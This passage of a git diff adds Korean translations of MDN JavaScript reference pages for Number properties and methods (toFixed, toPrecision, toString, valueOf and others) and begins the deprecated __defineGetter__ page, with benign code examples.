+<p><code>Number.POSITIVE_INFINITY</code>를 사용해 성공 시 유한수를 반환하는 식의 결과를 판별할 수 있습니다. 그러나 이런 경우 {{jsxref("isFinite", "isFinite()")}}를 사용하는 편이 더 적합합니다.</p>
+
+<p><code>POSITIVE_INFINITY</code>는 {{jsxref("Number")}}의 정적 속성이기 때문에, 직접 생성한 {{jsxref("Number")}} 객체의 속성이 아니라 <code>Number.POSITIVE_INFINITY</code>의 형식으로 사용해야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="POSITIVE_INFINITY_사용하기"><code>POSITIVE_INFINITY</code> 사용하기</h3>
+
+<p>다음 코드에서 <code>smallNumber</code>는 JavaScript의 최댓값보다 큰 값을 할당받습니다. {{jsxref("Statements/if...else", "if")}} 문이 실행되면, <code>bigNumber</code>의 값이 <code>Infinity</code>이므로 <code>bigNumber</code>는 계산에 좀 더 적합한 유한값을 다시 할당합니다.</p>
+
+<pre class="brush: js notranslate">var bigNumber = (Number.MAX_VALUE) * 2;
+
+if (bigNumber === Number.POSITIVE_INFINITY) {
+ bigNumber = returnFinite();
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number.positive_infinity', 'Number.POSITIVE_INFINITY')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Number.POSITIVE_INFINITY")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.isFinite()")}}</li>
+ <li>{{jsxref("Infinity")}}</li>
+ <li>{{jsxref("isFinite", "isFinite()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/prototype/index.html b/files/ko/web/javascript/reference/global_objects/number/prototype/index.html
new file mode 100644
index 0000000000..e9b3f20362
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/prototype/index.html
@@ -0,0 +1,90 @@
+---
+title: Number.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Number/prototype
+tags:
+ - JavaScript
+ - Number
+ - Property
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.prototype</code></strong> 속성은 {{jsxref("Number")}} 생성자의 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>모든 {{jsxref("Number")}} 인스턴스는 <code>Number.prototype</code>을 상속합니다. {{jsxref("Number")}} 생성자의 프로토타입 객체는 모든 {{jsxref( "Number")}} 인스턴스에 영향을 미치도록 수정할 수 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>Number.prototype.constructor</code></dt>
+ <dd>이 객체의 인스턴스를 생성한 함수를 반환합니다. 기본적으로 {{jsxref("Number")}} 객체 입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Number.prototype.toExponential()")}}</dt>
+ <dd>숫자의 지수표기법 표현을 문자열로 반환합니다.</dd>
+ <dt>{{jsxref("Number.prototype.toFixed()")}}</dt>
+ <dd>숫자의 고정소수점 표현을 문자열로 반환합니다.</dd>
+ <dt>{{jsxref("Number.prototype.toLocaleString()")}}</dt>
+ <dd>숫자의 표현을 특정 언어에 맞춘 형식의 문자열로 반환합니다. {{jsxref("Object.prototype.toLocaleString()")}} 메서드를 오버라이드 합니다.</dd>
+ <dt>{{jsxref("Number.prototype.toPrecision()")}}</dt>
+ <dd>지정한 정밀도로 숫자를 나타내는 문자열을 반환합니다. 고정소수점 혹은 지수표기법으로 표현합니다.</dd>
+ <dt>{{jsxref("Number.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>지정한 {{jsxref("Number")}} 객체를 나타내는 객체 리터럴을 반환합니다. 이 값을 사용하여 새 객체를 만들 수 있습니다. {{jsxref("Object.prototype.toSource()")}} 메서드를 오버라이드 합니다.</dd>
+ <dt>{{jsxref("Number.prototype.toString()")}}</dt>
+ <dd>지정된 기수(기본 10진수)로 지정된 객체를 문자열로 반환합니다. {{jsxref("Object.prototype.toString()")}} 메서드를 오버라이드 합니다.</dd>
+ <dt>{{jsxref("Number.prototype.valueOf()")}}</dt>
+ <dd>지정한 객체의 기본 자료형(primitive) 값을 반환합니다. {{jsxref("Object.prototype.valueOf()")}} 메서드를 오버라이드 합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.1.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.7.4', 'Number')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-properties-of-the-number-prototype-object', 'Number')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-properties-of-the-number-prototype-object', 'Number')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.prototype")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/toexponential/index.html b/files/ko/web/javascript/reference/global_objects/number/toexponential/index.html
new file mode 100644
index 0000000000..cb24e88364
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/toexponential/index.html
@@ -0,0 +1,108 @@
+---
+title: Number.prototype.toExponential()
+slug: Web/JavaScript/Reference/Global_Objects/Number/toExponential
+tags:
+ - JavaScript
+ - Method
+ - Number
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toExponential
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>toExponential()</code></strong> 메서드는 숫자를 지수 표기법으로 표기해 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-toexponential.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>numObj</var>.toExponential([<var>fractionDigits</var>])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>fractionDigits</code> {{optional_inline}}</dt>
+ <dd>소수점 이하로 표현할 자릿수입니다. 기본값은 주어진 값을 나타내는데 필요한 자릿수입니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 {{jsxref("Number")}} 값을 숫자 한자리와 소수점, 소수점 이하 <code>fractionDigits</code> 자릿수만큼 반올림하여 지수 표기법으로 나타낸 문자열을 반환합니다.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd><code>fractionDigits</code>가 너무 작거나 너무 크면 {{jsxref("RangeError")}} 에러가 발생합니다. <code>fractionDigits</code>가 0에서 20 사이의 값이면 {{jsxref("RangeError")}} 에러는 발생하지 않습니다. 구현에 따라 더 크거나 작은 값도 사용 할 수 있습니다.</dd>
+ <dt>{{jsxref("TypeError")}}</dt>
+ <dd>{{jsxref("Number")}}가 아닌 객체가 이 메서드를 실행시키면 {{jsxref("RangeError")}} 에러가 발생합니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>fractionDigits</code> 매개변수를 생략하면, 기본적으로 주어진 값을 특정하기 위해 필요한 자릿수만큼이 소수점 이하 자릿수가 됩니다.</p>
+
+<p>지수나 소수점이 없는 숫자 리터럴에 <code>toExponential()</code> 메서드를 사용하려면, 점 앞에 공백을 두어 점이 소수점으로 해석되는 것을 막도록 합니다.</p>
+
+<p>주어진 값의 자릿수가 <code>fractionDigits</code> 매개변수보다 크다면, 주어진 값은 <code>fractionDigits</code>에 가까운 자릿수로 반올림되어 표현됩니다. {{jsxref("Number.prototype.toFixed", "toFixed()")}} 메서드의 반올림에 관한 설명이 <code>toExponential()</code> 메서드에도 마찬가지로 적용됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="toExponential_사용하기"><code>toExponential</code> 사용하기</h3>
+
+<pre class="brush: js">var numObj = 77.1234;
+
+console.log(numObj.toExponential()); // logs 7.71234e+1
+console.log(numObj.toExponential(4)); // logs 7.7123e+1
+console.log(numObj.toExponential(2)); // logs 7.71e+1
+console.log(77.1234.toExponential()); // logs 7.71234e+1
+console.log(77 .toExponential()); // logs 7.7e+1
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>초기 정의. JavaScript 1.5에서 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.7.4.6', 'Number.prototype.toExponential')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-number.prototype.toexponential', 'Number.prototype.toExponential')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number.prototype.toexponential', 'Number.prototype.toExponential')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.toExponential")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/tofixed/index.html b/files/ko/web/javascript/reference/global_objects/number/tofixed/index.html
new file mode 100644
index 0000000000..cf383f2265
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/tofixed/index.html
@@ -0,0 +1,109 @@
+---
+title: Number.prototype.toFixed()
+slug: Web/JavaScript/Reference/Global_Objects/Number/toFixed
+tags:
+ - JavaScript
+ - Method
+ - Number
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toFixed
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>toFixed()</strong></code> 메서드는 숫자를 고정 소수점 표기법으로 표기해 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-tofixed.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>numObj</var>.toFixed([<var>digits</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>digits</code> {{optional_inline}}</dt>
+ <dd>소수점 뒤에 나타날 자릿수. 0 이상 20 이하의 값을 사용할 수 있으며, 구현체에 따라 더 넓은 범위의 값을 지원할 수도 있습니다. 값을 지정하지 않으면 0을 사용합니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>고정 소수점 표기법을 사용하여 나타낸 수.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd><code>digits</code>가 너무 작거나 너무 클 때. 값이 0과 100사이의 값이라면 {{jsxref("RangeError")}}를 유발하지 않습니다. 구현체에 따라 더 크거나 작은 값을 지원할 수 있습니다.</dd>
+ <dt>{{jsxref("TypeError")}}</dt>
+ <dd>{{jsxref("Number")}}가 아닌 객체에서 호출한 경우.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>toFixed()</code>는 {{jsxref("Number")}} 객체를 주어진 <code>digits</code> 만큼의 소수점 이하 자리수를 정확하게 갖는 문자열 표현으로 반환합니다. 소수점 이하가 길면 숫자를 반올림하고, 짧아서 부족할 경우 뒤를 0으로 채울 수 있습니다. 메서드를 호출한 숫자의 크기가 1e+21보다 크다면 {{jsxref("Number.prototype.toString()")}}을 호출하여 받은 지수 표기법 결과를 대신 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="toFixed()_사용하기"><code>toFixed()</code> 사용하기</h3>
+
+<pre class="brush: js">var numObj = 12345.6789;
+
+numObj.toFixed(); // Returns '12346': 반올림하며, 소수 부분을 남기지 않습니다.
+numObj.toFixed(1); // Returns '12345.7': 반올림합니다.
+numObj.toFixed(6); // Returns '12345.678900': 빈 공간을 0으로 채웁니다.
+(1.23e+20).toFixed(2); // Returns '123000000000000000000.00'
+(1.23e-10).toFixed(2); // Returns '0.00'
+2.34.toFixed(1); // Returns '2.3'
+2.35.toFixed(1); // Returns '2.4'. 이 경우에는 올림을 합니다.
+-2.34.toFixed(1); // Returns -2.3 (연산자의 적용이 우선이기 때문에, 음수의 경우 문자열로 반환하지 않습니다...)
+(-2.34).toFixed(1); // Returns '-2.3' (...괄호를 사용할 경우 문자열을 반환합니다.)
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.5.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.7.4.5', 'Number.prototype.toFixed')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-number.prototype.tofixed', 'Number.prototype.toFixed')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number.prototype.tofixed', 'Number.prototype.toFixed')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Number.toFixed")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/toprecision/index.html b/files/ko/web/javascript/reference/global_objects/number/toprecision/index.html
new file mode 100644
index 0000000000..83cf3017e3
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/toprecision/index.html
@@ -0,0 +1,110 @@
+---
+title: Number.prototype.toPrecision()
+slug: Web/JavaScript/Reference/Global_Objects/Number/toPrecision
+tags:
+ - JavaScript
+ - Method
+ - Number
+ - Prototype
+ - toPrecision
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toPrecision
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>toPrecision()</code></strong> 메서드는 {{jsxref("Number")}} 객체를 지정된 정밀도로 나타내는 문자열을 반환한다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-toprecision.html")}}</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><var>numObj</var>.toPrecision([<var>precision</var>])</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>precision</code></dt>
+ <dd>선택적 파라미터. 유효 자릿수를 지정하는 정수.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>고정 소수점 또는 지수 표기법의 {{jsxref("Number")}} 객체를 정밀 유효 숫자로 반올림 한 문자열입니다. <code>toPrecision()</code>에도 적용되는 {{jsxref("Number.prototype.toFixed()")}} 메서드에 대한 설명에서 반올림에 대한 설명을 참조하세요.</p>
+
+<p><code>precision(정밀도)</code> 인수가 생략되면 {{jsxref("Number.prototype.toString()")}}처럼 작동합니다. <code>precision(정밀도)</code> 인수가 정수가 아닌 값이면 가장 가까운 정수로 반올림됩니다.</p>
+
+<p> </p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/RangeError", "RangeError")}}</dt>
+ <dd><code>precision(정밀도)</code>가 1에서 100 사이가 아닌 경우 {{jsxref("RangeError")}}가 발생합니다. 구현은 더 큰 값과 더 작은 값을 지원할 수 있습니다. ECMA-262는 최대 21 자리의 정밀도 만을 요구합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="toPrecision_사용"><code>toPrecision</code> 사용</h3>
+
+<pre class="brush: js">var numObj = 5.123456;
+
+console.log(numObj.toPrecision()); // logs '5.123456'
+console.log(numObj.toPrecision(5)); // logs '5.1235'
+console.log(numObj.toPrecision(2)); // logs '5.1'
+console.log(numObj.toPrecision(1)); // logs '5'
+
+numObj = 0.000123
+
+console.log(numObj.toPrecision()); // logs '0.000123'
+console.log(numObj.toPrecision(5)); // logs '0.00012300'
+console.log(numObj.toPrecision(2)); // logs '0.00012'
+console.log(numObj.toPrecision(1)); // logs '0.0001'
+
+// 일부 상황에서는 지수 표기법이 반환 될 수 있습니다
+console.log((1234.5).toPrecision(2)); // logs '1.2e+3'
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.5.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.7.4.7', 'Number.prototype.toPrecision')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-number.prototype.toprecision', 'Number.prototype.toPrecision')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number.prototype.toprecision', 'Number.prototype.toPrecision')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.toPrecision")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/tostring/index.html b/files/ko/web/javascript/reference/global_objects/number/tostring/index.html
new file mode 100644
index 0000000000..2c1366ad5b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/tostring/index.html
@@ -0,0 +1,112 @@
+---
+title: Number.prototype.toString()
+slug: Web/JavaScript/Reference/Global_Objects/Number/toString
+tags:
+ - JavaScript
+ - Method
+ - Number
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toString
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>toString()</code> </strong>메서드는 특정한 {{jsxref("Number")}} 객체를 나타내는 문자열을 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/number-tostring.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>numObj</var>.toString([<var>radix</var>])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>radix</code> {{optional_inline}}</dt>
+ <dd>수의 값을 나타내기 위해 사용되기 위한 기준을 정하는 2와 36사이의 정수. (진수를 나타내는 기수의 값.)</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("Number")}} 객체를 명시하는 문자열.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>만약 <code>toString()</code>에<code> 2</code>와<code> 36</code>의 사잇 값이 아닌 <code>radix</code>가 주어지면, {{jsxref("RangeError")}} 에러가 발생합니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("Number")}} 객체는 {{jsxref("Object")}} 객체의 <code>toString() </code>메소드를 오버라이딩하며,  {{jsxref("Object.prototype.toString()")}} 를 상속받지 않습니다. {{jsxref( "Number")}} 객체에서 <code>toString()</code> 메소드는 특정 진수로 객체를 표현한 문자열을 환원합니다.</p>
+
+<p><code>toString() </code>메소드는 메소드의 첫 번째 아규먼트를 파싱하여, 메소드는 특정 기수(radix)를 기준으로 한 진수 값의 문자열을 환원하기 위한 시도를 합니다. 진수를 나타내는 기수 값(radix) 이 10 이상의 값일 때는, 알파벳의 글자는 9보다 큰 수를 나타냅니다. 예를 들면, 16진수(base 16)는, 알파벳 f 까지 사용하여 표현됩니다.</p>
+
+<p>만약에 <code>radix</code>값 이 지정되지 않으면, 임의로 10진수로 가정하게 됩니다.</p>
+
+<p>또, <code>numObj</code>가 음수라면, - 부호는 유지됩니다. 이는 기수(radix) 값이 2일 경우에라도 적용됩니다. 리턴된 문자열은 - 부호가 앞에 있는 <code>numObj</code> 의 양의 2진수 표시이지, <code>numObj</code>의 두 개의 조합이 아니기 때문입니다.</p>
+
+<p><code>numObj</code> 가 정수가 아니면, 점(.) 부호는 소수 자리와 분리하기 위해 사용됩니다. </p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="toString_사용"><code>toString</code> 사용</h3>
+
+<pre class="brush: js">var count = 10;
+
+console.log(count.toString()); // displays '10'
+console.log((17).toString()); // displays '17'
+console.log((17.2).toString()); // displays '17.2'
+
+var x = 6;
+
+console.log(x.toString(2)); // displays '110'
+console.log((254).toString(16)); // displays 'fe'
+
+console.log((-10).toString(2));   // displays '-1010'
+console.log((-0xff).toString(2)); // displays '-11111111'
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>초기 정의. JavaScript 1.1에서 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.7.4.2', 'Number.prototype.tostring')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-number.prototype.tostring', 'Number.prototype.tostring')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number.prototype.tostring', 'Number.prototype.tostring')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Number.toString")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/valueof/index.html b/files/ko/web/javascript/reference/global_objects/number/valueof/index.html
new file mode 100644
index 0000000000..344fa96ca2
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/valueof/index.html
@@ -0,0 +1,86 @@
+---
+title: Number.prototype.valueOf()
+slug: Web/JavaScript/Reference/Global_Objects/Number/valueOf
+tags:
+ - JavaScript
+ - Method
+ - Number
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/valueOf
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>valueOf()</code></strong> 메서드는 {{jsxref("Number")}} 객체가 감싼<sup>wrapped</sup> {{Glossary("primitive", "원시")}} 값을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-valueof.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>numObj</var>.valueOf()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("Number")}} 객체의 원시 값.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>valueOf()</code> 메서드는 보통 JavaScript에 의해 내부적으로 호출되고, 웹 코드에서는 명시적으로 호출하지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="valueOf_사용하기"><code>valueOf</code> 사용하기</h3>
+
+<pre class="brush: js">var numObj = new Number(10);
+console.log(typeof numObj); // object
+
+var num = numObj.valueOf();
+console.log(num); // 10
+console.log(typeof num); // number
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.1.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.7.4.4', 'Number.prototype.valueOf')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-number.prototype.valueof', 'Number.prototype.valueOf')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number.prototype.valueof', 'Number.prototype.valueOf')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Number.valueOf")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/__definegetter__/index.html b/files/ko/web/javascript/reference/global_objects/object/__definegetter__/index.html
new file mode 100644
index 0000000000..2ded710fda
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/__definegetter__/index.html
@@ -0,0 +1,99 @@
+---
+title: Object.prototype.__defineGetter__()
+slug: Web/JavaScript/Reference/Global_Objects/Object/__defineGetter__
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/__defineGetter__
+---
+<div>{{JSRef}}</div>
+
+<div class="warning">
+<p>이 기능은 object initializer 문법 혹은 {{jsxref("Object.defineProperty()")}} API를 사용한 getter 정의가 표준화됨으로써 비표준화되었습니다.<br>
+ 이 기능은 이제까지의 ECMAScript 사양에서만 사용되고 있습니다.<br>
+ 보다 좋은 방법이 있으므로, 이 메소드는 사용하지 말아야합니다.</p>
+</div>
+
+<p><code><strong>__defineGetter__</strong></code> 메소드는 오브젝트의 프로퍼티와 함수를 바인드합니다.<br>
+ 프로퍼티의 값이 조회될 때 바인드된 함수가 호출됩니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><var>obj</var>.__defineGetter__(<var>prop</var>, <var>func</var>)</pre>
+
+<h3 id="인자">인자</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>함수와 바인드된 프로퍼티의 이름을 나타내는 문자열</dd>
+ <dt><code>func</code></dt>
+ <dd>프로퍼티 값이 조회되었을 때 호출되는 함수</dd>
+</dl>
+
+<h3 id="리턴_값">리턴 값</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>__defineGetter__</code> 를 사용하여 기존 오브젝트의 {{jsxref("Operators/get", "getter", "", 1)}}를 사용할 수 있습니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">// Non-standard and deprecated way
+
+var o = {};
+o.__defineGetter__('gimmeFive', function() { return 5; });
+console.log(o.gimmeFive); // 5
+
+
+// Standard-compliant ways
+
+// Using the get operator
+var o = { get gimmeFive() { return 5; } };
+console.log(o.gimmeFive); // 5
+
+// Using Object.defineProperty
+var o = {};
+Object.defineProperty(o, 'gimmeFive', {
+ get: function() {
+ return 5;
+ }
+});
+console.log(o.gimmeFive); // 5
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
